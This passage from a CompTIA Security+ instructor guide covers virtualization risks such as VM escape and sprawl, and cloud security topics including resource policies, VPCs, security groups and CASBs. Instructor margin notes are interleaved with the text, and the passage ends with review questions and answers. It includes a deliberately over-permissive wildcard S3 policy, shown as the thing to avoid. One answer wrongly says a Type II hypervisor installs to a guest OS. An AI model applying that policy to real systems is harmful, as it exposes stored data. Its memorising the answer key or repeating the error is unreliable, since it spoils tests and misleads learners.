changes to the VM can easily be overwritten from the template image. With VDI, it is
also easier for a company to completely offload their IT infrastructure to a third-party
services company.
The main disadvantage is that in the event of a failure in the server and network
infrastructure, users have no local processing ability, so downtime events may be more
costly in terms of lost productivity.

Application Virtualization and Container Virtualization Show Slide(s)

Application virtualization is a more limited type of VDI. Rather than run the whole Application
client desktop as a virtual platform, the client either accesses an application hosted on Virtualization
a server or streams the application from the server to the client for local processing. and Container
Most application virtualization solutions are based on Citrix XenApp (formerly Virtualization
MetaFrame/Presentation Server), though Microsoft has developed an App-V product
with its Windows Server range and VMware has the ThinApp product. These solution
types are now often used with HTML5 remote desktop apps, referred to as "clientless"
because users can access them through ordinary web browser software.
Application cell/container virtualization dispenses with the idea of a hypervisor and
instead enforces resource separation at the operating system level. The OS defines
isolated "cells" for each user instance to run in. Each cell or container is allocated CPU
and memory resources, but the processes all run through the native OS kernel. These
containers may run slightly different OS distributions but cannot run guest OSes of
different types (you could not run Windows or Ubuntu in a RedHat Linux container, for
instance). Alternatively, the containers might run separate application processes, in
which case the variables and libraries required by the application process are added to
the container.
One of the best-known container virtualization products is Docker (docker.com).
Containerization underpins many cloud services. In particular it supports microservices
and serverless architecture. Containerization is also being widely used to implement
corporate workspaces on mobile devices.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 414 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s)

VM Escape Protection Comparison of VMs versus containers.

Teaching
Tip VM Escape Protection
One of the main
concerns is that VM escaping refers to malware running on a guest OS jumping to another guest
the technology or to the host. To do this, the malware must identify that it is running in a virtual
underpinning the environment, which is usually simple to do. One means of doing so is through a timing
virtual platform attack. The classic timing attack is to send multiple usernames to an authentication
will not be well server and measure the server response times. An invalid username will usually
understood by
be rejected very quickly, but a valid one will take longer (while the authentication
developers and
administrators. server checks the password). This allows the attacker to harvest valid usernames.
Details of the Malware can use a timing attack within a guest OS to detect whether it is running in
implementation may a VM (certain operations may take a distinct amount of time compared to a "real"
also be proprietary. environment). There are numerous other "signatures" that an attacker could use to
This might be a detect the presence of virtualized system hardware. The next step in VM escaping is for
good opportunity to
discuss Meltdown and
the attacker to compromise the hypervisor. Security researchers have been focusing on
Spectre (csoonline. this type of exploit and several vulnerabilities have been found in popular hypervisors.
com/article/3247868/
One serious implication of VM escaping is where virtualization is used for hosted
spectre-and-
meltdown-explained- applications. If you have a hosted web server, apart from trusting the hosting provider
what-they-are-how- with your data, you have no idea what other applications might be running in other
they-work-whats- customers' VMs. For example, consider a scenario where you have an e-commerce web
at-risk.html). These server installed on a virtual server leased from an ISP. If a third-party installs another
vulnerabilities guest OS with malware that can subvert the virtual server's hypervisor, they might
aren't specific to
hypervisors, but
be able to gain access to your server or to data held in the memory of the physical
they are particularly server. Having compromised the hypervisor, they could make a copy of your server
serious in a virtualized image and download it to any location. This would allow the attacker to steal any
environment. You can unencrypted data held on the e-commerce server. Even worse, it could conceivably
also point students to allow them to steal encrypted data, by obtaining the private encryption keys stored on
the following analysis the server or by sniffing unencrypted data or a data encryption key from the physical
of a typical VM escape
vulnerability: mcafee.
server's memory.
com/blogs/other- It is imperative to monitor security bulletins for the hypervisor software that you
blogs/mcafee-labs/
operate and to install patches and updates promptly. You should also design the
analyzing-patch-of-
a-virtual-machine- VM architecture carefully so that the placement of VMs running different types of
escape-on-vmware. applications with different security requirements does not raise unnecessary risks.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 415

Preventing VM escaping is dependent on the virtualization vendor identifying security

vulnerabilities in the hypervisor and on these being patched. The impact of VM
escaping can be reduced by using effective service design and network placement
when deploying VMs.

Collapsing zones to virtualized devices—This configuration is highly vulnerable to

a VM escaping attack. (Images © 123RF.com.)

For example, when considering security zones such as a DMZ, VMs providing front-end
and middleware/back-end services should be separated to different physical hosts.
This reduces the security implications of a VM escaping attack on a host in the DMZ
(which will generally be more vulnerable to such attacks).

Isolating VMs in different zones on separate hardware—This should reduce the impact
of a VM escaping attack. (Images © 123RF.com.)

VM Sprawl Avoidance Show Slide(s)

As well as securing the hypervisor, you must also treat each VM as you would any VM Sprawl Avoidance
other network host. This means using security policies and controls to ensure the
confidentiality, integrity, and availability of all data and services relying on host
virtualization.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 416 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Each VM needs to be installed with its own security software suite to protect against
malware and intrusion attempts. Each guest must also have a patch management
process. This might mean installing updates locally or replacing the guest instance from
an updated VM template image.

Ordinary antivirus software installed on the host will NOT detect viruses infecting the guest
OS. Scanning the virtual disks of guest OSes from the host will cause serious performance
problems.

Although one of the primary benefits of virtualization is the ease of deploying new
systems, this type of system sprawl and deployment of undocumented assets can also
be the root of security issues. It will often be the case that a system will be brought up
for "just a minute" to test something, but languish for months or years, undocumented,
unsecured, and unpatched. Each of these undocumented systems could represent an
exploitable vulnerability. They increase the potential attack surface of the network.
Policies and procedures for tracking, securing, and, when no longer used, destroying
virtualized assets should be put in place and carefully enforced.
Virtual machine life cycle management (VMLM) software can be deployed to enforce
VM sprawl avoidance. VMLM solutions provide you with a centralized dashboard for
maintaining and monitoring all the virtual environments in your organization. More
generally, the management procedures for developing and deploying machine images
need to be tightly drafted and monitored. VMs should conform to an application-
specific template with the minimum configuration needed to run that application
(that is, not running unnecessary services). Images should not be run in any sort of
environment where they could be infected by malware or have any sort of malicious
code inserted. One of the biggest concerns here is of rogue developers or contractors
installing backdoors or "logic bombs" within a machine image. The problem of criminal
or disgruntled staff is obviously one that affects any sort of security environment, but
concealing code within VM machine images is a bit easier to accomplish and has the
potential to be much more destructive.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 417

Review Activity:
Secure Cloud and Virtualization Services

Answer the following questions:

1. What is meant by a public cloud?

A solution hosted by a third party cloud service provider (CSP) and shared between
subscribers (multi-tenant). This sort of cloud solution has the greatest security
concerns.

2. What type of cloud solution would be used to implement a SAN?

This would usually be described as Infrastructure as a Service (IaaS).

3. What is a Type II hypervisor?

Software that manages virtual machines that has been installed to a guest OS. This is in
contrast to a Type I (or "bare metal") hypervisor, which interfaces directly with the host
hardware.

4. What is a VDE?

A Virtual Desktop Environment (VDE) is the workspace presented when accessing an

instance in a virtual desktop infrastructure (VDI) solution. VDI is the whole solution
(host server and virtualization platform, connection protocols, connection/session
broker, and client access devices).

5. What is the risk from a VM escaping attack?

VM escaping refers to attacking other guest OSes or the hypervisor or host from within
a virtual machine. Attacks may be to steal information, perform Denial of Service (DoS),
infect the system with malware, and so on.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 418 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 15B
Apply Cloud Security Solutions

Teaching EXAM OBJECTIVES COVERED

Tip 1.2 Given a scenario, analyze potential indicators to determine the type of attack (Cloud-
based versus on-premises only)
This topic focuses
2.2 Summarize virtualization and cloud computing concepts
on objective 3.6, but
3.6 Given a scenario, apply cybersecurity solutions to the cloud
does also cover some
content from 2.2
(resource policies and Configuring cloud security solutions shares many principles and processes with on-
transit gateways), and premises security, but plenty of unfamiliar technologies and challenges too. Weak
1.2 (attack indicators).
configuration of cloud services can make many attack vectors available, and the public
nature of clouds means that they will quickly be discovered and exploited. You must
be able to apply policies technical controls to provision compute, network, and storage
cloud resources with the attributes of confidentiality, integrity, and availability.

Show Slide(s) Cloud Security Integration and Auditing

Cloud Security
Cloud-based services must be integrated within regular security policies and
Integration and procedures and audited for compliance. Where indicators of on-premises attacks are
Auditing found in local application logs and network traffic, indicators of cloud-based attacks are
found in API logs and metrics. The same correlation to suspicious IP address ranges
Teaching and domains and suspicious code strings must be made, but the source of this data is
Tip the cloud service provider (CSP). Accessing this auditing information in real time may
Discuss how on- be difficult, depending on the cloud service type. There are many cloud-based SIEM
premises monitoring solutions that can perform this collection, aggregation, and correlation of security data
and auditing can be from both on-premises and cloud-based networks and instances.
extended to detect
and prevent attacks As with any contracted service, cloud computing is a means of transferring risk. As such,
in the cloud without it is imperative to identify precisely which risks you are transferring, to identify which
having to provision responsibilities the service provider is undertaking, and to identify which responsibilities
separate dashboards
and reporting.
remain with you. This should be set out in a service level agreement (SLA) with a
responsibility matrix. For example, in an SaaS solution, the provider may be responsible
for the confidentiality, integrity, and availability of the software. They would be responsible
for configuring a fault tolerant, clustered server service; for firewalling the servers and
creating proper authentication, authorization, and accounting procedures; for scanning for
intrusions and monitoring network logs, applying OS and software patches; and so on. You
might or might not be responsible for some or all of the software management functions,
though—ensuring that administrators and users practice good password management,
configuring system privileges, making backups of data, and so on.
Where critical tasks are the responsibility of the service provider, you should try
to ensure that there is a reporting mechanism to show that these tasks are being
completed, that their disaster recovery plans are effective, and so on.
Another proviso is that your company is likely to still be directly liable for serious
security breaches; if customer data is stolen, for instance, or if your hosted website
is hacked and used to distribute malware. You still have liability for legal and
regulatory requirements. You might be able to sue the service provider for damages,
but your company would still be the point of investigation. You may also need to
consider the legal implications of using a cloud provider if its servers are located in a
different country.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 419

You must also consider the risk of insider threat, where the insiders are administrators
working for the service provider. Without effective security mechanisms such as
separation of duties and M of N control, it is highly likely that they would be able to
gain privileged access to your data. Consequently, the service provider must be able
to demonstrate to your satisfaction that they are prevented from doing so. There is
also the risk described earlier that your data is in proximity to other, unknown virtual
servers and that some sort of attack could be launched on your data from another
virtual server.

The Twitter hack affecting high-profile accounts being hijacked for a bitcoin scam is a good
illustration of the risks from insider threat (scmagazine.com/home/security-news/insider-
threats/twitter-hack-is-a-reminder-of-the-dangers-of-unfettered-employee-access).

As with any contracted service, with any *aaS solution, you place a large amount of
trust in the service provider. The more important the service is to your business, the
more risk you are investing in that trust relationship.

Cloud Security Controls Show Slide(s)

Clouds use the same types of security controls as on-premises networks, including Cloud Security
identity and access management (IAM), endpoint protection (for virtual instances), Controls
resource policies to govern access to data and services, firewalls to filter traffic
between hosts, and logging to provide an audit function. Teaching
Tip
Most CSP's will provide these security controls as native functionality of the cloud
Highlight the
platform. Google's firewall service is an example of this type of cloud native control
similarities to on-
(cloud.google.com/firewalls). The controls can be deployed and configured using premises security
either the CSP's web console, or programmatically via a command line interface (CLI) tasks.
or application programming interface (API). A third-party solution would typically be
installed as a virtual instance within the cloud. For example, you might prefer to run
a third-party next-generation firewall. This can be configured as an appliance and
deployed to the cloud. The virtual network architecture can be defined so that this
appliance instance is able to inspect traffic and apply policies to it, either by routing
the traffic through the instance or by using some type of bridging or mirroring. As an
example, consider the configuration guide for the Barracuda next-gen firewall (campus.
barracuda.com/product/cloudgenfirewall/doc/79462645/overview).
The same considerations can be made for other types of security controls—notably
data loss prevention and compliance management. Cloud native controls might
not exist for these use cases, they might not meet the functional requirements that
third party solutions can, and there may be too steep a transition in terms of change
management and skills development.

Application Security and IAM

Application security in the cloud refers both to the software development process and
to identity and access management (IAM) features designed to ensure authorized use
of applications.
Just as with on-premises solutions, cloud-based IAM enables the creation of user and
user security groups, plus role-based management of privileges.

Secrets Management
A cloud service is highly vulnerable to remote access. A failure of credential
management is likely to be exploited by malicious actors. You must enforce strong
authentication policies to mitigate risks:
• Do not use the root user for the CSP account for any day-to-day logon activity.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 420 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Require strong multifactor authentication (MFA) for interactive logons. Use

conditional authentication to deny or warn of risky account activity.

• Principals—user accounts, security groups, roles, and services—can interact

with cloud services via CLIs and APIs. Such programmatic access is enabled by
assigning a secret key to the account. Only the secret key (not the ordinary account
credential) can be used for programmatic access. When a secret key is generated
for an account, it must immediately be transferred to the host and kept securely on
that host.

Show Slide(s) Cloud Compute Security

Cloud Compute
Cloud provides resources abstracted from physical hardware via one or more layers
Security of virtualization. The compute component provides process and system memory
(RAM) resource as required for a particular workload. The workload could be a virtual
Teaching machine instance configured with four CPUs and 16 GB RAM or it could be a container
Tip instance spun up to perform a function and return a result within a given timeframe.
Generally, container The virtualization layer ensures that the resources required for this task are made
security will be the available on-demand. This can be referred to as dynamic resource allocation. It will be
responsibility of the the responsibility of the CSP to ensure this capability is met to the standards agreed in
CSP, unless operating the SLA.
a private cloud, while
API use counts as Within the compute component, the following critical security considerations can be
security in the cloud. identified.

Container Security
A container uses many shared components on the underlying platform, meaning it
must be carefully configured to reduce the risk of data exposure. In a container engine
such as Docker, each container is isolated from others through separate namespaces
and control groups (docs.docker.com/engine/security/security). Namespaces prevent
one container reading or writing processes in another, while control groups ensure
that one container cannot overwhelm others in a DoS-type attack.

API Inspection and Integration

The API is the means by which consumers interact with the cloud infrastructure,
platform, or application. The consumer may use direct API calls, or may use a CSP-
supplied web console as a graphical interface for the API. Monitoring API usage
gives warning if the system is becoming overloaded (ensuring availability) and allows
detection of unauthorized usage or attempted usage.
• Number of requests—this basic load metric counts number of requests per
second or requests per minute. Depending on the service type, you might be able
to establish baselines for typical usage and set thresholds for alerting abnormal
usage. An unexplained spike in API calls could be an indicator of a DDoS attack, for
instance.

• Latency—this is the time in milliseconds (ms) taken for the service to respond to an
API call. This can be measured for specific services or as an aggregate value across
all services. High latency usually means that compute resources are insufficient. The
cause of this could be genuine load or DDoS, however.

• Error rates—this measures the number of errors as a percentage of total calls,

usually classifying error types under category headings. Errors may represent an
overloaded system if the API is unresponsive, or a security issue, if the errors are
authorization/access denied types.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 421

• Unauthorized and suspicious endpoints—connections to the API can be managed in

the same sort of way as remote access. The client endpoint initiating the connection
can be restricted using an ACL and the endpoint's IP address monitored for
geographic location.

Instance Awareness
As with on-premises virtualization, it is important to manage instances (virtual
machines and containers) to avoid sprawl, where undocumented instances are
launched and left unmanaged. As well as restricting rights to launch instances, you
should configure logging and monitoring to track usage.

Cloud Storage Security Show Slide(s)

Where the compute component refers to CPU and system memory resources, the Cloud Storage Security
storage component means the provisioning of peristent storage capacity. As with the
compute component, the cloud virtualization layer abstracts the underlying hardware Teaching
to provide the required storage type, such as a virtual hard disk for a VM instance, Tip
object-based storage to serve static files in a web application, or block storage for use Make sure students
by a database server. Storage profiles will have different performance characteristics can recognize a JSON
for different applications, such as fast SSD-backed storage for databases versus slower format resource
HDD-backed media for archiving. The principal performance metric is the number of policy.
input/output operations per second (IOPS) supported.

Permissions and Resource Policies

As with on-premises systems, cloud storage resources must be configured to allow
reads and/or writes only from authorized endpoints. In the cloud, a resource policy
acts as the ACL for an object. In a resource policy, permissions statements are typically
written as a JavaScript Object Notation (JSON) strings. Misconfiguration of these
resource policies is a widely exploited attack vector. For example, the following policy
uses the "any" wildcard (*) to assign both actions (read and write) and principals
(accounts) to a storage object. The type of policy breaks the principle of least privilege
and is highly unsecure:
"Statement": [ {
"Action": [
   "*"
],
"Effect": "Allow",
"Principal": "*",
"Resource": "arn:aws:s3:::515support-courses-
data/*"
} ]
Encryption
Cloud storage encryption equates to the on-premises concept of full disk encryption
(FDE). The purpose is to minimize the risk of data loss via an insider or intruder attack
on the CSP's storage systems. Each storage unit is encrypted using an AES key. If an
attacker were to physically access a data center and copy or remove a disk, the data on
the disk would not be readable.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 422 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

To read or write the data, the AES key must be available to the VM or container using
the storage object. With CSP-managed keys, the cloud provider handles this process
by using the access control rights configured on the storage resource to determine
whether access is approved and, if so, making the key available to the VM or container.
The key will be stored in a hardware security module (HSM) within the cloud. The HSM
and separation of duties policies protect the keys from insider threat. Alternatively,
customers can manage keys themselves, taking on all responsibility for secure
distribution and storage.
Encryption can also be applied at other levels. For example, applications can selectively
encrypt file system objects or use database-level encryption to encrypt fields and/or
records. All networking—whether customer to cloud or between VMs/containers within
the cloud—should use encrypted protocols such as HTTPS or IPSec.

Show Slide(s) High Availability

One of the benefits of the cloud is the potential for providing services that are resilient
High Availability
to failures at different levels, such as component, server, local network, site, data
Teaching center, and wide area network. The CSP uses a virtualization layer to ensure that
Tip compute, storage, and network provision meet the availability criteria set out in its
SLA. In terms of storage performance tiers, high availability (HA) refers to storage
Note that we will
return to availability provisioned with a guarantee of 99.99% uptime or better. As with on-premises
in the lesson on architecture, the CSP uses redundancy to make multiple disk controllers and storage
cybersecurity devices available to a pool of storage resource. Data may be replicated between pools
resiliency. or groups, with each pool supported by separate hardware resources.

Replication
Data replication allows businesses to copy data to where it can be utilized most
effectively. The cloud may be used as a central storage area, making data available
among all business units. Data replication requires low latency network connections,
security, and data integrity. CSPs offer several data storage performance tiers
(cloud.google.com/storage/docs/storage-classes). The terms hot and cold storage
refer to how quickly data is retrieved. Hot storage retrieves data more quickly than
cold, but the quicker the data retrieval, the higher the cost. Different applications have
diverse replication requirements. A database generally needs low-latency, synchronous
replication, as a transaction often cannot be considered complete until it has been
made on all replicas. A mechanism to replicate data files to backup storage might not
have such high requirements, depending on the criticality of the data.

High Availability across Zones

CSPs divide the world into regions. Each region is independent of the others. The
regions are divided into availability zones. The availability zones have independent data
centers with their own power, cooling, and network connectivity. You can choose to
host data, services, and VM instances in a particular region to provide a lower latency
service to customers. Provisioning resources in multiple zones and regions can also
improve performance and increases redundancy, but requires an adequate level of
replication performance.
Consequently, CSPs offer several tiers of replication representing different high
availability service levels:
• Local replication—replicates your data within a single data center in the region
where you created your storage account. The replicas are often in separate fault
domains and upgrade domains.

• Regional replication (also called zone-redundant storage)—replicates your data

across multiple data centers within one or two regions. This safeguards data and
access in the event a single data center is destroyed or goes offline.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 423

• Geo-redundant storage (GRS)—replicates your data to a secondary region that is

distant from the primary region. This safeguards data in the event of a regional
outage or a disaster.

Cloud Networking Security Show Slide(s)

Within the cloud, the CSP establishes a virtualization layer that abstracts the underlying Cloud Networking
physical network. This allows the CSP to operate a public cloud where the networking Security
performed by each customer account is isolated from the others. In terms of customer-
configured cloud networking, there are various contexts: Teaching
Tip
• Networks by which the cloud consumer operates and manages the cloud systems.
Note that VPC is
• Virtual networks established between VMs and containers within the cloud. synonymous with
virtual network.
• Virtual networks by which cloud services are published to guests or customers on
the Internet.

Virtual Private Clouds (VPCs)

Each customer can create one or more virtual private clouds (VPCs) attached to their
account. By default, a VPC is isolated from other CSP accounts and from other VPCs
operating in the same account. This means that customer A cannot view traffic passing
over customer B's VPC. The workload for each VPC is isolated from other VPCs. Within
the VPC, the cloud consumer can assign an IPv4 CIDR block and configure one or more
subnets within that block. Optionally, an IPv6 CIDR block can be assigned also.

The following notes focus on features of networking in AWS. Other vendors support similar
functionality, though sometimes with different terminology. For example, in Microsoft Azure,
VPCs are referred to as virtual networks.

Public and Private Subnets

Each subnet within a VPC can either be private or public. To configure a public subnet,
first an Internet gateway (virtual router) must be attached to the VPC configuration.
Secondly, the Internet gateway must be configured as the default route for each
public subnet. If a default route is not configured, the subnet remains private, even
if an Internet gateway is attached to the VPC. Each instance in the subnet must also
be configured with a public IP in its cloud profile. The Internet gateway performs 1:1
network address translation (NAT) to route Internet communications to and from the
instance.

The instance network adapter is not configured with this public IP address. The instance's
NIC is configured with an IP address for the subnet. The public address is used by the
virtualization management layer only. Public IP addresses can be assigned from your own
pool or from a CSP-managed service, such as Amazon's Elastic IP (docs.aws.amazon.com/
AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html).

There are other ways to provision external connectivity for a subnet if it is not
appropriate to make it public:
• NAT gateway—this feature allows an instance to connect out to the Internet or to
other AWS services, but does not allow connections initiated from the Internet.

• VPN—there are various options for establishing connections to and between VPCs
using virtual private networks (VPNs) at the software layer or using CSP-managed
features.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 424 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) VPCs and Transit Gateways

VPCs and Transit
Routing can be configured between subnets within a VPC. This traffic can be subject
Gateways to cloud native ACLs allowing or blocking traffic on the basis of host IPs and ports.
Alternatively, traffic could be routed through a virtual firewall instance, or other
security appliance.
Connectivity can also be configured between VPCs in the same account or with VPCs
belonging to different accounts, and between VPCs and on-premises networks.
Configuring additional VPCs rather than subnets within a VPC allows for a greater
degree of segmentation between instances. A complex network might split segments
between different VPCs across different cloud accounts for performance or
compliance reasons.
Traditionally, VPCs can be interconnected using peering relationships and connected
with on-premises networks using VPN gateways. These one-to-one VPC peering
relationships can quickly become difficult to manage, especially if each VPC must
interconnect in a mesh-like structure. A transit gateway is a simpler means of managing
these interconnections. Essentially, a transit gateway is a virtual router that handles
routing between the subnets in each attached VPC and any attached VPN gateways
(aws.amazon.com/transit-gateway).

Amazon's white paper sets out options for configuring multi-VPC infrastructure in more
detail (d1.awsstatic.com/whitepapers/building-a-scalable-and-secure-multi-vpc-aws-
network-infrastructure.pdf).

Show Slide(s) VPC Endpoints

VPC Endpoints
A VPC endpoint is a means of publishing a service so that it is accessible by instances in
other VPCs using only the AWS internal network and private IP addresses (d1.awsstatic.
com/whitepapers/aws-privatelink.pdf). This means that the traffic is never exposed to
the Internet. There are two types of VPC endpoint: gateway and interface.

Gateway Endpoints
A gateway endpoint is used to connect instances in a VPC to the AWS S3 (storage) and
DynamoDB (database) services. A gateway endpoint is configured as a route to the
service in the VPC's route table.

Interface Endpoints
An interface endpoint makes use of AWS's PrivateLink feature to allow private access to
custom services:
• A custom service provider VPC is configured by publishing the service with a DNS
host name. Alternatively, the service provider might be an Amazon default service
that is enabled as a VPC interface endpoint, such as CloudWatch Events/Logs.

• A VPC endpoint interface is configured in each service consumer VPC subnet. The
VPC endpoint interface is configured with a private IP address within the subnet
plus the DNS host name of the service provider.

• Each instance within the VPC subnet is configured to use the endpoint address to
contact the service provider.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 425

Cloud Firewall Security Show Slide(s)

As in an on-premises network, a firewall determines whether to accept or deny/discard Cloud Firewall Security
incoming and outgoing traffic. Firewalls work with multiple accounts, VPCs, subnets
within VPCs, and instances within subnets to enforce the segmentation required by
the architectural design. Segmentation may be needed for many different reasons,
including separating workloads for performance and load balancing, keeping data
processing within an isolated segment for compliance with laws and regulations,
and compartmentalizing data access and processing for different departments or
functional requirements.
Filtering decisions can be made based on packet headers and payload contents at
various layers, identified in terms of the OSI model:
• Network layer (layer 3)—the firewall accepts or denies connections on the basis of
IP addresses or address ranges and TCP/UDP port numbers (the latter are actually
contained in layer 4 headers, but this functionality is still always described as basic
layer 3 packet filtering).

• Transport layer (layer 4)—the firewall can store connection states and use rules to
allow established or related traffic. Because the firewall must maintain a state table
of existing connections, this requires more processing power (CPU and memory).

• Application layer (layer 7)—the firewall can parse application protocol headers
and payloads (such as HTTP packets) and make filtering decisions based on their
contents. This requires even greater processing capacity (or load balancing), or the
firewall will become a bottleneck and increase network latency.

While you can use cloud-based firewalls to implement on-premises network security,
here we are primarily concerned with the use of firewalls to filter traffic within and to
and from the cloud itself. Such firewalls can be implemented in several ways to suit
different purposes:
• As software running on an instance. This sort of host-based firewall is identical
to ones that you would configure for an on-premises host. It could be a stateful
packet filtering firewall or a web application firewall (WAF) with a ruleset tuned to
preventing malicious attacks. The drawback is that the software consumes instance
resources and so is not very efficient. Also, managing the rulesets across many
instances can be challenging.

• As a service at the virtualization layer to filter traffic between VPC subnets and
instances. This equates to the concept of an on-premises network firewall.

Native cloud application-aware firewalls incur transaction costs, typically calculated on

time deployed and traffic volume. These costs might be a reason to choose a third-
party solution instead of the native control.

Security Groups Show Slide(s)

In AWS, basic packet filtering rules managing traffic that each instance will accept can Security Groups
be managed through security groups (docs.aws.amazon.com/vpc/latest/userguide/
VPC_SecurityGroups.html). A security group provides stateful inbound and outbound Teaching
filtering at layer 4. The stateful filtering property means that it will allow established Tip
and related traffic if a new connection has been accepted. A security group is a
The default security group allows any outbound traffic and any inbound traffic from collection of firewall
rules that can be
instances also bound to the default security group. A custom security group sets the
applied to one or
ports and endpoints that are allowed for inbound and outbound traffic. There are more instances,
no deny rules for security groups; any traffic that does not match an allow rule is working like a virtual
dropped. Consequently, a custom group with no rules will drop all network traffic. host firewall.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 426 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Multiple instances can be assigned to the same security group, and instances within
the same subnet can be assigned to different security groups. You can assign multiple
security groups to the same instance. You can also assign security groups to VPC
endpoint interfaces.

Adding a custom security group when launching a new instance in AWS EC2. This policy allows SSH
access from a single IP address (redacted) and access to HTTPS from any IP address.

Most cloud providers support similar filtering functionality, though they may be
implemented differently. For example, in Azure, network security groups can be
applied to network interfaces or to subnets (docs.microsoft.com/en-us/azure/virtual-
network/security-overview).

Show Slide(s) Cloud Access Security Brokers

Cloud Access Security
A cloud access security broker (CASB) is enterprise management software designed
Brokers to mediate access to cloud services by users across all types of devices. CASB vendors
include Blue Coat, now owned by Symantec (broadcom.com/products/cyber-security/
information-protection/cloud-application-security-cloudsoc), SkyHigh Networks, now
owned by MacAfee (skyhighnetworks.com), Forcepoint (forcepoint.com/product/casb-
cloud-access-security-broker), Microsoft Cloud App Security (microsoft.com/en-us/
microsoft-365/enterprise-mobility-security/cloud-app-security), and Cisco Cloudlock
(cisco.com/c/en/us/products/security/cloudlock/index.html).
CASBs provide you with visibility into how clients and other network nodes are using
cloud services. Some of the functions of a CASB are:
• Enable single sign-on authentication and enforce access controls and authorizations
from the enterprise network to the cloud provider.

• Scan for malware and rogue or non-compliant device access.

• Monitor and audit user and resource activity.

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 427

• Mitigate data exfiltration by preventing access to unauthorized cloud services from

managed devices.

In general, CASBs are implemented in one of three ways:

• Forward proxy—this is a security appliance or host positioned at the client network
edge that forwards user traffic to the cloud network if the contents of that traffic
comply with policy. This requires configuration of users' devices or installation of
an agent. In this mode, the proxy can inspect all traffic in real time, even if that
traffic is not bound for sanctioned cloud applications. The problem with this mode
is that users may be able to evade the proxy and connect directly. Proxies are
also associated with poor performance as without a load balancing solution, they
become a bottleneck and potentially a single point of failure.

• Reverse proxy—this is positioned at the cloud network edge and directs traffic to
cloud services if the contents of that traffic comply with policy. This does not require
configuration of the users' devices. This approach is only possible if the cloud
application has proxy support.

• Application programming interface (API)—rather than placing a CASB appliance

or host inline with cloud consumers and the cloud services, an API-based CASB
uses brokers connections between the cloud service and the cloud consumer. For
example, if a user account has been disabled or an authorization has been revoked
on the local network, the CASB would communicate this to the cloud service and use
its API to disable access there too. This depends on the API supporting the range
of functions that the CASB and access and authorization policies demand. CASB
solutions are quite likely to use both proxy and API modes for different security
management purposes.

Next-Generation Secure Web Gateway

Enterprise networks often make use of secure web gateways (SWG). An on-premises
SWG is a proxy-based firewall, content filter, and intrusion detection/prevention
system that mediates user access to Internet sites and services. A next-generation
SWG, as marketed by Netskope (netskope.com/products/next-gen-swg), combines
the functionality of an SWG with that of data loss prevention (DLP) and a CASB to
provide a wholly cloud-hosted platform for client access to websites and cloud apps.
This supports an architecture defined by Gartner as secure access service edge (SASE)
(scmagazine.com/home/opinion/secure-access-service-edge-sase-key-points-for-early-
adopters).

Lesson 15: Implementing Secure Cloud Solutions | Topic 15B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 428 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Cloud Security Solutions
Answer the following questions:

1. Describe some key considerations that should be made when hosting data
or systems via a cloud solutions provider.

Integrate auditing and monitoring procedures and systems with on-premises detection,
identify responsibility for implementing security controls (such as patching or backup),
identify performance metrics in an SLA, and assess risks to privacy and confidentiality
from breaches at the service provider.

2. True or false? The account with which you register for the CSP services is
not an account with root privileges.

False. This account is the root account and has full privileges. It should not be used for
day-to-day administration or configuration.

3. Which security attribute is ensured by monitoring API latency and

correcting any problems quickly?

This ensures the availability of services.

4. What format is often used to write permissions statements for cloud

resource policies?

JavaScript Object Notation (JSON).

5. True or false? A customer is limited to creating one VPC per account.

False. There are limits to the number of virtual private clouds (VPCs) that can be
created, but more than one is allowed.

6. What feature allows you to filter traffic arriving at an instance?

This is accomplished by assigning the instance to a security group with the relevant
policy configured.

